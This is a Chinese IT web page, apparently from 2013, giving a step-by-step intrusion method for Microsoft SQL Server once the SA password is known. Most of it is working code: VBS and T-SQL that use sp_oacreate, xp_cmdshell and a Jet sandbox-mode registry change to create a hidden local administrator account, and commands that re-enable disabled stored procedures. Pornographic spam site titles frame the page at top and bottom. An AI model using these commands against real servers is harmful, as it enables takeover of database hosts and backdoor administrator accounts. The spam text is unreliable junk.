多多色-多人伦交性欧美在线观看-多人伦精品一区二区三区视频-多色视频-免费黄色视屏网站-免费黄色在线

國內最全IT社區平臺 聯系我們 | 收藏本站
阿里云優惠2
您當前位置:首頁 > 數據庫 > Sqlserver > MS SQL Server SA權限最新入侵方法

MS SQL Server SA權限最新入侵方法

來源:程序員人生   發布時間:2013-11-01 03:27:17 閱讀次數:3545次
本文再向大家介紹幾種入侵方法,讀者可以根據情況找出防范辦法。

  在獲得SA密碼后,往往因為服務器管理者或”前人”將net.exe和net1.exe被限制使用,無法添加管理員賬號。我們知道VBS在活動目錄(ADSI)部分有一個winnt對象,用來管理本地資源,利用它可以不依靠CMD等命令就能添加一個管理員,具體代碼如下:

  set wsnetwork=CreateObject("WSCRIPT.NETWORK")

  os="WinNT://"&wsnetwork.ComputerName

  Set ob=GetObject(os) '得到adsi接口,綁定

  Set oe=GetObject(os&"/Administrators,group") '屬性,admin組

  Set od=ob.Create("user","test") '建立用戶

  od.SetPassword "1234" '設置密碼

  od.SetInfo '保存

  Set of=GetObject(os&"/test",user) '得到用戶

  oe.add os&"/test"

  將上面的代碼保存為1.vbs,然后執行,命令為“cscript 1.vbs”,這樣就會在系統添加一個系統名為test,密碼為1234的用戶。具體在查詢分析器執行的代碼如下:

  declare @o int, @f int, @t int, @ret int

  exec sp_oacreate 'scripting.filesystemobject', @o out

  exec sp_oamethod @o, 'createtextfile', @f out, 'c:.vbs', 1

  exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject

  ("WSCRIPT.NETWORK")'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.

  ComputerName'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject

  (os&"/Administrators,group")'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create

  ("user","test")'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '

  exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject

  (os&"/test",user) '

  exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'

  執行完上面的語句,再執行下面這行代碼,這行代碼一定單獨執行,不要與上面的放在一起執行,否則會提示“c:.vbs正被另一個程序運行”而無法成功添加用戶:

  exec master..xp_cmdshell 'cscript c:.vbs'

  如果系統用戶沒有添加成功,有可能是因為系統用戶的密碼1234的太簡單,不符合服務器的復雜密碼策略,可以考慮設置的復雜些,然后再測試一下。也可以使用echo將代碼寫到1.vbs中,代碼格式為:

  exec master..xp_cmdshell 'echo set wsnetwork=CreateObject("WSCRIPT.NETWORK")

  >>1.vbs'

  不過,不知道為什么所有帶“&”字符的命令行都無法寫入1.vbs,感興趣的朋友可以嘗試解決一下。

  使用jet沙盤模式,可以解決XP_cmdshell等存儲過程和相關動態鏈接庫帶來的煩惱。出于安全原因,系統默認情況下沙盤模式未開啟,這就需要xp_regwrite開啟沙盤模式:

  Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet.0

  Engines','SandBoxMode','REG_DWORD',1

  然后執行沙盤命令,在系統添加一個用戶名為test,密碼為1234的用戶:

  select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windows

  system32iasias.mdb','select shell("cmd.exe /c net user test 1234 /add")')

  select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windows

  system32iasias.mdb','select shell("cmd.exe /c net localgroup

  administrators test /add")')

  不同的操作系統,路徑也不一樣,需要根據情況做修改:

  NT/2K: c:winntsystem32

  XP/2003: c:windowssystem32

  另外Microsoft SQL Server2005在默認情況下,一些存儲過程是關閉著的,需要命令打開:

  開啟XP_cmdshell:

  EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure

  'xp_cmdshell', 1;RECONFIGURE;

  開啟'OPENROWSET':

  exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure

  'Ad Hoc Distributed Queries',1;RECONFIGURE;

  開啟'sp_oacreate':

  exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure

  'Ole Automation Procedures',1;RECONFIGURE;

生活不易,碼農辛苦
如果您覺得本網站對您的學習有所幫助,可以手機掃描二維碼進行捐贈
程序員人生
------分隔線----------------------------
分享到:
------分隔線----------------------------
關閉
程序員人生
主站蜘蛛池模板: 在线观看国产小视频 | 亚洲第二页 | 欧美午夜理伦三级理论三级 | 亚洲乱码中文 | 亚洲天天做夜夜做天天欢 | 国产毛片a精品毛 | 国产欧美曰韩一区二区三区 | 一级在线免费视频 | 欧美久久伊人 | 亚洲成年人在线 | 最近手机中文字幕高清1 | 亚洲国产片 | 欧美jizzjizz在线播放 | 欧美叼嘿| 日本欧美一区二区三区在线观看 | 亚洲欧美视频网站 | 亚洲第一看片 | 校园 图片区 视频 小说专区 | 欧美成人高清在线视频大全 | 亚洲天堂久久精品成人 | 一本本久综合久久爱 | 最近免费字幕中文大全在线观看 | 欧美一级爆毛片 | 亚洲第一成网站 | 2021国产精品一区二区在线 | 欧美日韩资源 | 天堂在线免费 | 国产一区二区不卡 | 成人在线观看视频免费 | 最近中文字幕国语免费 | 国产亚洲人成网站在线观看不卡 | 久久精品看片 | 国产极品嫩模在线观看91精品 | 日韩精品久久久毛片一区二区 | 国产精品自产拍在线观看 | 国产一区二区三区精品久久呦 | 那一个欧美一级毛片 | 国产一区二区福利久久 | 久久综合久 | 日本高清www午色夜黄 | 波兰性xxxxx极品hd |